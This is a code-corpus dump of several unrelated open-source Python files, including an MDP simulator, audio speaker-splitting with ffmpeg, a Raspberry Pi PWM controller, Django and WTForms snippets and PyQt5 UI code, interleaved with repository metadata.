("IGREF","Ingénieur du génie rural des eaux et forêts "), ("IAA","Inspecteur d académie adjoint"), ("DSDEN","directeur des services départementaux de l Education nationale "), ("IEN","Inspecteur de l Education Nationale "), ("IET","Inspecteur de l enseignement technique "), ("ISPV","Inspecteur de Santé Publique Vétérinaire "), ("IDEN","Inspecteur départemental de l Education nationale "), ("IIO","Inspecteur d information et d orientation "), ("IGEN","Inspecteur général de l Education nationale "), ("IPR","Inspecteur pédagogique régional"), ("IPET","Inspecteur principal de l enseignement technique "), ("PNC","Personnel Navigant Commercial "), ("MPR","Magasin de Pièces de Rechange "), ("CME","Cellule, Moteur, Electricité "), ("BTP","Bâtiments et Travaux Publics "), ("EIR","Electricité, Instrument de bord, Radio "), ("MAR","Médecin Anesthésiste Réanimateur "), ("PMI","Protection Maternelle et Infantile "), ("MISP","Médecin Inspecteur de Santé Publique "), ("MIRTMO","Médecin Inspecteur Régional du Travail et de la Main d oeuvre "), ("DIM","Documentation et de l Information Médicale"), ("OPL","Officier pilote de ligne "), ("CN","commande numérique "), ("PPM","Patron Plaisance Moteur "), ("PPV","Patron Plaisance Moteur "), ("PhISP","Pharmacien Inspecteur de Santé Publique "), ("PDG","Président Directeur Général "), ("FLE","Français Langue Etrangère "), ("PLP","Professeur de lycée professionnel "), ("EPS","éducation physique et sportive "), ("PEGL","Professeur d enseignement général de lycée "), ("PEGC","Professeur d enseignement général des collèges "), ("INJS","instituts nationaux de jeunes sourds "), ("INJA","instituts nationaux de jeunes aveugles "), ("TZR","titulaire en zone de remplacement "), ("CFAO","Conception de Fabrication Assistée par Ordinateur "), ("SPIP","service pénitentiaire d insertion et de probation "), ("PME","Petite ou Moyenne Entreprise "), ("RRH","Responsable des Ressources Humaines "), ("QSE","Qualité Sécurité Environnement "), ("SASU","Secrétaire d administration scolaire et universitaire "), ("MAG","Metal Active Gas "), ("MIG","Metal Inert Gas "), ("TIG","Tungsten Inert Gas "), ("GED","Gestion électronique de documents"), ("CVM","Circulations Verticales Mécanisées "), ("TISF","Technicien Intervention Sociale et Familiale"), ("MAO","Musique Assistée par Ordinateur"), # ("Paie","paye"), # ("paies","paye"), ("ml","mission locale"), ("AS","aide soignant"), ("IDE","infirmier de soins généraux"), ("ERD","études recherche et développement") ]

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a1a133f4a1f010df28c349cd5d84226826c23e63

1,631

py

Python

setup.py

cardosan/tempo_test

ff5a757c9ca54e5af1ccd71e9e5840bac279e4f0

[ "BSD-3-Clause" ]

null

setup.py

cardosan/tempo_test

ff5a757c9ca54e5af1ccd71e9e5840bac279e4f0

[ "BSD-3-Clause" ]

null

setup.py

cardosan/tempo_test

ff5a757c9ca54e5af1ccd71e9e5840bac279e4f0

[ "BSD-3-Clause" ]

null

from setuptools import setup import io setup( name='bw2temporalis', version="0.9.2", packages=[ "bw2temporalis", "bw2temporalis.tests", "bw2temporalis.examples", "bw2temporalis.cofire" ], author="Chris Mutel", author_email="cmutel@gmail.com", license=io.open('LICENSE.txt', encoding='utf-8').read(), url="https://bitbucket.org/cmutel/brightway2-temporalis", install_requires=[ "arrow", "eight", "brightway2", "bw2analyzer", "bw2calc>=0.11", "bw2data>=0.12", "bw2speedups>=2.0", "numexpr", "numpy", "scipy", "stats_arrays", ], description='Provide a dynamic LCA calculations for the Brightway2 life cycle assessment framework', long_description=io.open('README.rst', encoding='utf-8').read(), classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )

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null

0

null

0

1

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1

a1a36361a953bc1ab0c48721b0d1db387eabef20

6,139

py

Python

MDP/MDP.py

ADP-Benchmarks/ADP-Benchmark

aea3d1be7c28c7290a23e731b9e7b460ee6976f7

[ "MIT" ]

1

2020-01-17T17:09:46.000Z

MDP/MDP.py

ADP-Benchmarks/ADP-Benchmark

aea3d1be7c28c7290a23e731b9e7b460ee6976f7

[ "MIT" ]

null

MDP/MDP.py

ADP-Benchmarks/ADP-Benchmark

aea3d1be7c28c7290a23e731b9e7b460ee6976f7

[ "MIT" ]

2

2020-10-26T04:51:42.000Z

2020-11-22T20:20:30.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ GitHub Homepage ---------------- https://github.com/ADP-Benchmarks Contact information ------------------- ADP.Benchmarks@gmail.com. License ------- The MIT License """ from MDP.spaces.space import Space from MDP.transition import Transition from MDP.objective import Objective import copy class MDP: """ Description ----------- This class provides a generic implementation for continuous- and discrete- state MDPs. Finite and infinite -time horizon MDPs as well as average- and discounted- cost MDPs can be handled. """ def __init__(self, initState = None, sSpace = None, aSpace = None, nSpace = None, transition = None, objective = None, isFiniteHorizon = False, isAveCost = False, terminalStates=None,): """ Inputs ------ initState [list]: initial state vector, that is the list of components of the starting state. sSpace [Space]: MDP state space. aSpace [Space]: MDP action space. nSpace [Space]: MDP exogenous noise space. transition [Transition]: MDP stochastic kernel (e.g., MDP transition matrix for discrete MDPs). objective [Objective]: the MDP cost/reward function. isFiniteHorizon [int]: if int, MDP is finite-time horizon of length isFiniteHorizon, else if False, it is infinite-time horizon. isAveCost [bool]: if True, MDP is average-cost, else it is discounted-cost. terminalStates [list]: list of absorbing state for episodic MDPs Raises/Returns -------------- Explanations ------------ The constructor of MDP class. """ # assert(isinstance(sSpace,Space)) # assert(isinstance(aSpace,Space)) # assert(isinstance(nSpace,Space)) assert(isinstance(transition,Transition)) assert(isinstance(objective,Objective)) assert sSpace.isStateFeasble(initState), 'Intial state should belong to\ the state space' #TODO initState -> initDist self.initState = initState self.terminalStates = terminalStates self.sSpace = sSpace self.aSpace = aSpace self.nSpace = nSpace self.sDim = self.sSpace.dim self.aDim = self.aSpace.dim self.nDim = self.nSpace.dim self.transition = transition self.objective = objective self.isFiniteHorizon = isFiniteHorizon self.isAveCost = isAveCost self.reset() def step(self, action, force_noise=None): ''' Takes one step in the MDP. -------------------------- Inputs ------ action [list]: current action vector, that is the list of components of the current action force_noise [list]: optional, an exogenous noise vector used to evaluate next state and reward. If not provided, the noise vector will be sampled randomly Returns ------- nextState [list]: next state at t+1 reward [float]: Scalar reward/cost done [boolean]: True if an absorbing state is reached, for the case of absorbing MDPs info [dict]: Provides info about the noise outcome and current period in the finite horizon case ''' #TODO This function should support generating a list of next states if not force_noise: noise = self.nSpace.sample()[0] else: noise = force_noise nextState = self.transition.getNextStateWithExoSamples(self.currState, action, noise) reward = self.objective.getObjectiveWithExoSamples(self.currState, action, noise) self.currState = nextState if self.isFiniteHorizon: # Increment the period self.t += 1 if self.t >= self.isFiniteHorizon: self.reset() return nextState, reward, {'t': self.t, 'noise': noise} # Infinite horizon MDP elif self.terminalStates: done = nextState in self.terminalStates return nextState, reward, done, {'noise': noise} else: return nextState, reward, {'noise': noise} def reset(self,): ''' Resets the state back to the initial state ------------------------------------------ Returns ------- initState [list]: initial state vector, that is the list of components of the starting state. t [int]: starting period t for finit horizon MDPs ''' self.currState = copy.deepcopy(self.initState) if self.isFiniteHorizon: self.t = 0 return (self.currState,self.t) else: return self.currState

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1

a1ac73057ccc5855df2d0931ac3ee0a8a54ddd18

855

py

Python

python-algorithm/leetcode/problem_457.py

isudox/nerd-algorithm

c1fbe153953cf3fc24395f75d102016fdf9ea0fa

[ "MIT" ]

5

2017-06-11T09:19:34.000Z

2019-01-16T16:58:31.000Z

python-algorithm/leetcode/problem_457.py

isudox/leetcode-solution

60085e64deaf396a171367affc94b18114565c43

[ "MIT" ]

5

2020-03-22T13:53:54.000Z

2020-03-23T08:49:35.000Z

python-algorithm/leetcode/problem_457.py

isudox/nerd-algorithm

c1fbe153953cf3fc24395f75d102016fdf9ea0fa

[ "MIT" ]

1

2019-03-02T15:50:43.000Z

"""457. Circular Array Loop https://leetcode.com/problems/circular-array-loop/ """ from typing import List class Solution: def circular_array_loop(self, nums: List[int]) -> bool: def helper(start: int, cur: int, count: int, visited) -> int: if nums[cur] * nums[start] < 0: return False if cur == start and count > 0: return count > 1 if cur in visited: return False visited.add(cur) next_pos = cur + nums[cur] count += 1 if 0 <= next_pos < len(nums): return helper(start, next_pos, count, visited) return helper(start, next_pos % len(nums), count, visited) for i in range(len(nums)): if helper(i, i, 0, set()): return True return False

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null

0

1

0

1

a1ac757a73cea2cb4a80f87ddc034e4b6d7ef1b0

10,937

py

Python

task/task2.py

joseph9991/Milestone1

08f95e845a743539160e9a7330ca58ea20240229

[ "MIT" ]

null

task/task2.py

joseph9991/Milestone1

08f95e845a743539160e9a7330ca58ea20240229

[ "MIT" ]

null

task/task2.py

joseph9991/Milestone1

08f95e845a743539160e9a7330ca58ea20240229

[ "MIT" ]

null

import pandas as pd from pandas import read_csv import os import sys import glob import re import soundfile as sf import pyloudnorm as pyln from .thdncalculator import execute_thdn class Task2: def __init__(self,data,file_name): self.df = pd.DataFrame.from_dict(data, orient='columns') self.file_name = file_name self.speakers = [] self.speaker_set = () def merge_timestamp(self): ''' This functions helps us to correct small error in the speaker end time obtained from response from Task 1. Basically, uses the next speaker's start time and rerplaces it with the end time of the current speaker ''' df_length = len(self.df.index) cursor = 0 speaker_list = self.df['speaker'].values.tolist() start_list = self.df['start_time'].values.tolist() end_list = self.df['end_time'].values.tolist() self.speaker_set = sorted(list(set(speaker_list))) for i in range(0,len(speaker_list)): current_row = [] current_speaker = speaker_list[i] if cursor == 0: current_row = [current_speaker,start_list[0],end_list[0]] self.speakers.append(current_row) cursor = cursor + 1 continue if current_speaker == speaker_list[i] and current_speaker == speaker_list[i-1]: self.speakers[-1][2] = end_list[i] else: current_row = [current_speaker,start_list[i],end_list[i]] self.speakers.append(current_row) cursor = cursor + 1 for i in range(len(self.speakers)): if i == len(self.speakers)-1: break self.speakers[i][2] = self.speakers[i+1][1] print("\nComputed merged Timestamps for every speaker!!") def trim(self): ''' This function helps us to trim the files according to the each individual speaker using FFMPEG. But, there will be multiple files per speaker OUTPUT: spk_0-1.wav,spk_0-2.wav,spk_0-3.wav spk_1-1.wav, spk_1-2.wav spk_2-1.wav,spk_2-2.wav ''' cursor = 0 for speaker in self.speakers: new_file = speaker[0]+str(cursor)+'.wav' command = f"ffmpeg -loglevel quiet -y -i {self.file_name} -ss {speaker[1]} -to \ {speaker[2]} -c:v copy -c:a copy {new_file}" try: os.system(command) content = "file '{}'".format(new_file) except Exception as err: print(f'Error occurred: {err}') cursor = cursor + 1 print("Divided audio file into {} individual speaker files!!".format(len(self.speakers))) def generate_files(self): ''' Merges each individual speaker files. OUTPUT: spk_0.wav,spk_1.wav,spk_2.wav ''' txt_files = [] for i in range(len(self.speaker_set)): fileName = '{}.txt'.format(self.speaker_set[i]) with open(fileName,'a+') as f: txt_files.append(fileName) wavFiles = glob.glob('{}*.wav'.format(self.speaker_set[i])) convert = lambda text: int(text) if text.isdigit() else text alphanum_key = lambda key: [convert(c) for c in re.split('([0-9]+)', key)] wavFiles = sorted(wavFiles,key=alphanum_key) for wavFile in wavFiles: f.write('file \'{}\'\n'.format(wavFile)) # speaker_set = wavFiles # Deleting all the text files needed for merging for txt_file in txt_files: command = f"ffmpeg -loglevel quiet -y -f concat -i {txt_file} -c copy {txt_file[:-4]}.wav" os.system(command) os.remove(txt_file) ## Deleting the individual speaker audio clip [which were not merged] # for wav_file in glob.glob('spk_[0-4][0-9]*.wav'): # os.remove(wav_file) print("Merged the individual speaker files into {} files!!\n".format(len(self.speaker_set))) def calculate_rank(self): ''' Calcualtes Loudness of each speaker file and THDN value ''' speaker_loudness = {} speaker_thdn = {} speaker_frequency = {} for speaker in self.speaker_set: wav_file = speaker+'.wav' data, rate = sf.read(wav_file) print('Analyzing "' + wav_file + '"...') meter = pyln.Meter(rate) loudness = meter.integrated_loudness(data) speaker_loudness[speaker] = loudness response = execute_thdn(wav_file) speaker_thdn[speaker] = response['thdn'] speaker_frequency[speaker] = response['frequency'] speaker_loudness = sorted( ((v,k) for k,v in speaker_loudness.items()), reverse=True) print("\n\nThere is no \"better\" loudness. But the larger the value (closer to 0 dB), the louder. ") print("--------------------------------------------------------------------------------------------") print("Speaker\t\tLoudness\t\tTHDN\t\tFrequency\tRank") print("--------------------------------------------------------------------------------------------") for i in range(len(speaker_loudness)): print('{}\t {} LUFS\t{}\t\t{}\t {}'.format(speaker_loudness[i][1], speaker_loudness[i][0], speaker_thdn[speaker_loudness[i][1]], speaker_frequency[speaker_loudness[i][1]],i+1)) print("--------------------------------------------------------------------------------------------") def execute_all_functions(self): print("\n\nCommencing Task 2: Judge Sound Quality") self.merge_timestamp() self.trim() self.generate_files() self.calculate_rank() return self.speaker_set # # For Testing # if __name__ == "__main__": # file_name = sys.argv[1] # # Temp Code # data =[ # { # "Unnamed: 0": 0, # "start_time": "00:00:00", # "end_time": "00:00:00", # "speaker": "spk_1", # "comment": "Well,", # "stopwords": 0, # "fillerwords": 0 # }, # { # "Unnamed: 0": 1, # "start_time": "00:00:01", # "end_time": "00:00:02", # "speaker": "spk_1", # "comment": "Hi, everyone.", # "stopwords": 0, # "fillerwords": 0 # }, # { # "Unnamed: 0": 2, # "start_time": "00:00:03", # "end_time": "00:00:05", # "speaker": "spk_0", # "comment": "Everyone's money. Good", # "stopwords": 0, # "fillerwords": 0 # }, # { # "Unnamed: 0": 3, # "start_time": "00:00:05", # "end_time": "00:00:10", # "speaker": "spk_2", # "comment": "morning, everyone. Money. Thanks for joining. Uh, so let's quickly get started with the meeting.", # "stopwords": 4, # "fillerwords": 1 # }, # { # "Unnamed: 0": 4, # "start_time": "00:00:11", # "end_time": "00:00:14", # "speaker": "spk_2", # "comment": "Today's agenda is to discuss how we plan to increase the reach off our website", # "stopwords": 8, # "fillerwords": 0 # }, # { # "Unnamed: 0": 5, # "start_time": "00:00:15", # "end_time": "00:00:20", # "speaker": "spk_2", # "comment": "and how to make it popular. Do you have any ideas, guys? Yes.", # "stopwords": 8, # "fillerwords": 0 # }, # { # "Unnamed: 0": 6, # "start_time": "00:00:20", # "end_time": "00:00:22", # "speaker": "spk_0", # "comment": "Oh, Whoa. Um,", # "stopwords": 0, # "fillerwords": 1 # }, # { # "Unnamed: 0": 7, # "start_time": "00:00:23", # "end_time": "00:00:36", # "speaker": "spk_1", # "comment": "it's okay. Thank you so much. Yes. Asai was saying one off. The ideas could be to make it more such friendly, you know? And to that I think we can. We need to improve the issue off our website.", # "stopwords": 21, # "fillerwords": 0 # }, # { # "Unnamed: 0": 8, # "start_time": "00:00:37", # "end_time": "00:00:41", # "speaker": "spk_2", # "comment": "Yeah, that's a great point. We certainly need to improve the SC off our site.", # "stopwords": 6, # "fillerwords": 0 # }, # { # "Unnamed: 0": 9, # "start_time": "00:00:42", # "end_time": "00:00:43", # "speaker": "spk_2", # "comment": "Let me let me take a note of this.", # "stopwords": 4, # "fillerwords": 0 # }, # { # "Unnamed: 0": 10, # "start_time": "00:00:45", # "end_time": "00:00:57", # "speaker": "spk_0", # "comment": "How about using social media channels to promote our website? Everyone is on social media these days on way. We just need to target the right audience and share outside with them. Were often Oh, what do you think?", # "stopwords": 18, # "fillerwords": 0 # }, # { # "Unnamed: 0": 11, # "start_time": "00:00:58", # "end_time": "00:01:05", # "speaker": "spk_2", # "comment": "It's definitely a great idea on since we already have our social accounts, I think we can get started on this one immediately.", # "stopwords": 11, # "fillerwords": 0 # }, # { # "Unnamed: 0": 12, # "start_time": "00:01:06", # "end_time": "00:01:11", # "speaker": "spk_0", # "comment": "Yes, I can work on creating a plan for this. I come up with the content calendar base.", # "stopwords": 9, # "fillerwords": 0 # }, # { # "Unnamed: 0": 13, # "start_time": "00:01:11", # "end_time": "00:01:17", # "speaker": "spk_1", # "comment": "Yeah, and I can start with creating the CEO content for all the periods off our website.", # "stopwords": 10, # "fillerwords": 0 # }, # { # "Unnamed: 0": 14, # "start_time": "00:01:17", # "end_time": "00:01:24", # "speaker": "spk_2", # "comment": "Awesome. I think we already have a plan in place. Let's get rolling Eyes. Yeah, definitely.", # "stopwords": 5, # "fillerwords": 0 # }, # { # "Unnamed: 0": 15, # "start_time": "00:01:24", # "end_time": "00:01:25", # "speaker": "spk_2", # "comment": "Yeah, sure.", # "stopwords": 0, # "fillerwords": 0 # }, # { # "Unnamed: 0": 16, # "start_time": "00:01:26", # "end_time": "00:01:33", # "speaker": "spk_2", # "comment": "Great. Thanks. Thanks, everyone, for your ideas. I'm ending the call now. Talk to you soon. Bye. Bye bye. Thanks.", # "stopwords": 5, # "fillerwords": 0 # }] # obj = Task2(data,file_name) # obj.execute_all_functions()

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null

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1

a1b46b1cb092d1e3618170f67ba0443c89c2d63b

1,684

py

Python

Firmware/RaspberryPi/backend-pi/PWMController.py

librerespire/ventilator

c0cfa63f1eae23c20d5d72fe52f42785070bbb3d

[ "MIT" ]

5

2020-04-08T12:33:31.000Z

2021-04-17T15:45:08.000Z

Firmware/RaspberryPi/backend-pi/PWMController.py

cmfsx/ventilator

996dd5ad5010c19799e03576acf068663276a5e8

[ "MIT" ]

7

2020-03-27T13:16:09.000Z

2020-06-24T11:15:59.000Z

Firmware/RaspberryPi/backend-pi/PWMController.py

cmfsx/ventilator

996dd5ad5010c19799e03576acf068663276a5e8

[ "MIT" ]

2

2020-09-03T16:29:22.000Z

2021-01-05T23:17:59.000Z

import threading import time import RPi.GPIO as GPIO import logging import logging.config # declare logger parameters logger = logging.getLogger(__name__) class PWMController(threading.Thread): """ Thread class with a stop() method. Handy class to implement PWM on digital output pins """ def __init__(self, thread_id, pin, on_time, off_time): threading.Thread.__init__(self) self.__thread_id = thread_id self.__pin = pin self.__on_time = on_time self.__off_time = off_time self.__stop_event = threading.Event() # TODO: Setting up the pins should be moved to the main script 'Controller.py' # GPIO.setmode(GPIO.BCM) # GPIO.setwarnings(False) # GPIO.setup(pin, GPIO.OUT) def stop(self): self.__stop_event.set() # print(str(self.__thread_id) + ": set the stop event") def stopped(self): return self.__stop_event.is_set() def run(self): while True: if self.stopped(): # print(str(self.__thread_id) + ": thread has stopped. exiting") break; logger.debug(str(self.__pin) + ": ON--" + str(self.__on_time)) if self.__on_time > 0.02: GPIO.output(self.__pin, GPIO.HIGH) logger.debug("On wait time: %.3f" % self.__on_time) time.sleep(self.__on_time) logger.debug(str(self.__pin) + ": OFF--" + str(self.__off_time)) if self.__off_time > 0.02: GPIO.output(self.__pin, GPIO.LOW) logger.debug("Off wait time: %.3f" % self.__off_time) time.sleep(self.__off_time)

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null

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1

a1bf1dc46f3a24ddc127c89f233fb631f8cdaefb

3,474

py

Python

Amplo/Observation/_model_observer.py

Amplo-GmbH/AutoML

eb6cc83b6e4a3ddc7c3553e9c41d236e8b48c606

[ "MIT" ]

5

2022-01-07T13:34:37.000Z

2022-03-17T06:40:28.000Z

Amplo/Observation/_model_observer.py

Amplo-GmbH/AutoML

eb6cc83b6e4a3ddc7c3553e9c41d236e8b48c606

[ "MIT" ]

5

2022-03-22T13:42:22.000Z

2022-03-31T16:20:44.000Z

Amplo/Observation/_model_observer.py

Amplo-GmbH/AutoML

eb6cc83b6e4a3ddc7c3553e9c41d236e8b48c606

[ "MIT" ]

1

2021-12-17T22:41:11.000Z

# Copyright by Amplo """ Observer for checking production readiness of model. This part of code is strongly inspired by [1]. References ---------- [1] E. Breck, C. Shanging, E. Nielsen, M. Salib, D. Sculley (2017). The ML test score: A rubric for ML production readiness and technical debt reduction. 1123-1132. 10.1109/BigData.2017.8258038. """ from sklearn.linear_model import LinearRegression from sklearn.linear_model import LogisticRegression from sklearn.model_selection import train_test_split from Amplo.Observation.base import PipelineObserver from Amplo.Observation.base import _report_obs __all__ = ["ModelObserver"] class ModelObserver(PipelineObserver): """ Model observer before putting to production. While the field of software engineering has developed a full range of best practices for developing reliable software systems, similar best-practices for ML model development are still emerging. The following tests are included: 1. TODO: Model specs are reviewed and submitted. 2. TODO: Offline and online metrics correlate. 3. TODO: All hyperparameters have been tuned. 4. TODO: The impact of model staleness is known. 5. A simpler model is not better. 6. TODO: Model quality is sufficient on important data slices. 7. TODO: The model is tested for considerations of inclusion. """ TYPE = "model_observer" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.xt, self.xv, self.yt, self.yv = train_test_split( self.x, self.y, test_size=0.3, random_state=9276306) def observe(self): self.check_better_than_linear() @_report_obs def check_better_than_linear(self): """ Checks whether the model exceeds a linear model. This test incorporates the test ``Model 5`` from [1]. Citation: A simpler model is not better: Regularly testing against a very simple baseline model, such as a linear model with very few features, is an effective strategy both for confirming the functionality of the larger pipeline and for helping to assess the cost to benefit tradeoffs of more sophisticated techniques. Returns ------- status_ok : bool Observation status. Indicates whether a warning should be raised. message : str A brief description of the observation and its results. """ # Make score for linear model if self.mode == self.CLASSIFICATION: linear_model = LogisticRegression() elif self.mode == self.REGRESSION: linear_model = LinearRegression() else: raise AssertionError("Invalid mode detected.") linear_model.fit(self.xt, self.yt) linear_model_score = self.scorer(linear_model, self.xv, self.yv) # Make score for model to observe obs_model = self.model obs_model.fit(self.xt, self.yt) obs_model_score = self.scorer(obs_model, self.xv, self.yv) status_ok = obs_model_score > linear_model_score message = ("Performance of a linear model should not exceed the " "performance of the model to observe. " f"Score for linear model: {linear_model_score:.4f}. " f"Score for observed model: {obs_model_score:.4f}.") return status_ok, message

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1

a1c0825b266bca976c211fbcfde48bbcb725afd2

1,083

py

Python

run_tests.py

dannybrowne86/django-ajax-uploader

741213e38e9532dd83d8040af17169da9d610660

[ "BSD-3-Clause" ]

75

2015-02-09T22:49:57.000Z

2021-01-31T23:47:39.000Z

run_tests.py

dannybrowne86/django-ajax-uploader

741213e38e9532dd83d8040af17169da9d610660

[ "BSD-3-Clause" ]

13

2015-02-27T03:01:30.000Z

2020-11-18T10:11:53.000Z

run_tests.py

dannybrowne86/django-ajax-uploader

741213e38e9532dd83d8040af17169da9d610660

[ "BSD-3-Clause" ]

29

2015-02-09T22:50:16.000Z

2019-12-25T06:41:43.000Z

# from https://github.com/django-extensions/django-extensions/blob/master/run_tests.py from django.conf import settings from django.core.management import call_command def main(): # Dynamically configure the Django settings with the minimum necessary to # get Django running tests settings.configure( INSTALLED_APPS=( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.admin', 'django.contrib.sessions', 'ajaxuploader', ), # Django replaces this, but it still wants it. *shrugs* DATABASE_ENGINE = 'django.db.backends.sqlite3', DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', } }, MEDIA_ROOT = '/tmp/ajaxuploader_test_media/', MEDIA_PATH = '/media/', ROOT_URLCONF = 'ajaxuploader.urls', DEBUG = True, TEMPLATE_DEBUG = True ) # Fire off the tests call_command('test', 'ajaxuploader') if __name__ == '__main__': main()

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0.082409

0.044374

0.069731

0.091918

0

0.002608

0.291782

1,083

36

87

30.083333

0.820078

0.234534

0

0.295261

0.159174

0

1

0.038462

true

0

0.076923

0

0.115385

0

null

0

null

0

1

0

1

a1c400c5158580105326cc3e84bbb5b7fc61477c

574

py

Python

forms.py

qqalexqq/monkeys

df9a43adbda78da1f2ab1cc4c27819da4225d2e5

[ "MIT" ]

null

forms.py

qqalexqq/monkeys

df9a43adbda78da1f2ab1cc4c27819da4225d2e5

[ "MIT" ]

null

forms.py

qqalexqq/monkeys

df9a43adbda78da1f2ab1cc4c27819da4225d2e5

[ "MIT" ]

null

from flask.ext.wtf import Form from wtforms import ( TextField, IntegerField, HiddenField, SubmitField, validators ) class MonkeyForm(Form): id = HiddenField() name = TextField('Name', validators=[validators.InputRequired()]) age = IntegerField( 'Age', validators=[ validators.InputRequired(message='Age should be an integer.'), validators.NumberRange(min=0) ] ) email = TextField( 'Email', validators=[validators.InputRequired(), validators.Email()] ) submit_button = SubmitField('Submit')

27.333333

76

0.656794

53

574

7.09434

0.54717

0.159574

0.263298

0

0.002247

0.224739

574

20

77

28.7

0.842697

0

0.074913

0

1

0

false

0

0.117647

0

0.470588

0

null

0

1

0

null

0

1

a1c5f16bf229bdace56e1e6f63c0ce9caaa232d9

10,362

py

Python

View/pesquisa_produtos.py

felipezago/ControleEstoque

229659c4f9888fd01df34375ec92af7a1f734d10

[ "MIT" ]

null

View/pesquisa_produtos.py

felipezago/ControleEstoque

229659c4f9888fd01df34375ec92af7a1f734d10

[ "MIT" ]

null

View/pesquisa_produtos.py

felipezago/ControleEstoque

229659c4f9888fd01df34375ec92af7a1f734d10

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'pesquisa_produtos.ui' # # Created by: PyQt5 View code generator 5.14.1 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Frame(object): def setupUi(self, Frame): Frame.setObjectName("Frame") Frame.resize(1048, 361) Frame.setAutoFillBackground(False) Frame.setStyleSheet("background: #FFF;") self.fr_titulo_servicos = QtWidgets.QFrame(Frame) self.fr_titulo_servicos.setGeometry(QtCore.QRect(0, 0, 1051, 60)) self.fr_titulo_servicos.setStyleSheet("") self.fr_titulo_servicos.setObjectName("fr_titulo_servicos") self.lb_tituloClientes_2 = QtWidgets.QLabel(self.fr_titulo_servicos) self.lb_tituloClientes_2.setGeometry(QtCore.QRect(10, 15, 200, 30)) font = QtGui.QFont() font.setFamily("DejaVu Sans") font.setPointSize(18) font.setBold(True) font.setWeight(75) self.lb_tituloClientes_2.setFont(font) self.lb_tituloClientes_2.setStyleSheet("color: rgb(0, 0, 0)") self.lb_tituloClientes_2.setObjectName("lb_tituloClientes_2") self.bt_inserir = QtWidgets.QPushButton(self.fr_titulo_servicos) self.bt_inserir.setGeometry(QtCore.QRect(910, 9, 131, 41)) font = QtGui.QFont() font.setFamily("Tahoma") font.setPointSize(10) font.setBold(True) font.setWeight(75) self.bt_inserir.setFont(font) self.bt_inserir.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) self.bt_inserir.setFocusPolicy(QtCore.Qt.NoFocus) self.bt_inserir.setContextMenuPolicy(QtCore.Qt.ActionsContextMenu) self.bt_inserir.setStyleSheet("QPushButton {\n" " background-color: rgb(78, 154, 6);\n" "color: #FFF\n" " }\n" "QPushButton:hover{\n" " background-color: #40a286\n" "}") self.bt_inserir.setIconSize(QtCore.QSize(75, 35)) self.bt_inserir.setObjectName("bt_inserir") self.tb_produtos = QtWidgets.QTableWidget(Frame) self.tb_produtos.setGeometry(QtCore.QRect(0, 100, 1041, 211)) self.tb_produtos.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.PointingHandCursor)) self.tb_produtos.setFocusPolicy(QtCore.Qt.WheelFocus) self.tb_produtos.setStyleSheet("QTableView{\n" "color: #797979;\n" "font-weight: bold;\n" "font-size: 13px;\n" "background: #FFF;\n" "padding: 0 0 0 5px;\n" "}\n" "QHeaderView:section{\n" "background: #FFF;\n" "padding: 5px 0 ;\n" "font-size: 12px;\n" "font-family: \"Arial\";\n" "font-weight: bold;\n" "color: #797979;\n" "border: none;\n" "border-bottom: 2px solid #CCC;\n" "text-transform: uppercase\n" "}\n" "QTableView::item {\n" "border-bottom: 2px solid #CCC;\n" "padding: 2px;\n" "}\n" "\n" "") self.tb_produtos.setFrameShape(QtWidgets.QFrame.NoFrame) self.tb_produtos.setFrameShadow(QtWidgets.QFrame.Plain) self.tb_produtos.setAutoScrollMargin(20) self.tb_produtos.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.tb_produtos.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) self.tb_produtos.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) self.tb_produtos.setShowGrid(False) self.tb_produtos.setGridStyle(QtCore.Qt.NoPen) self.tb_produtos.setWordWrap(False) self.tb_produtos.setRowCount(1) self.tb_produtos.setObjectName("tb_produtos") self.tb_produtos.setColumnCount(8) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setVerticalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(3, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(4, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(5, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(6, item) item = QtWidgets.QTableWidgetItem() self.tb_produtos.setHorizontalHeaderItem(7, item) self.tb_produtos.horizontalHeader().setDefaultSectionSize(120) self.tb_produtos.horizontalHeader().setHighlightSections(False) self.tb_produtos.horizontalHeader().setStretchLastSection(True) self.tb_produtos.verticalHeader().setVisible(False) self.tb_produtos.verticalHeader().setDefaultSectionSize(50) self.tb_produtos.verticalHeader().setMinimumSectionSize(20) self.fr_botoes = QtWidgets.QFrame(Frame) self.fr_botoes.setGeometry(QtCore.QRect(0, 330, 1051, 30)) self.fr_botoes.setStyleSheet("background:#E1DFE0;\n" "border: none;") self.fr_botoes.setObjectName("fr_botoes") self.bt_selecionar = QtWidgets.QPushButton(self.fr_botoes) self.bt_selecionar.setGeometry(QtCore.QRect(930, 0, 120, 30)) font = QtGui.QFont() font.setPointSize(10) font.setBold(True) font.setWeight(75) self.bt_selecionar.setFont(font) self.bt_selecionar.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) 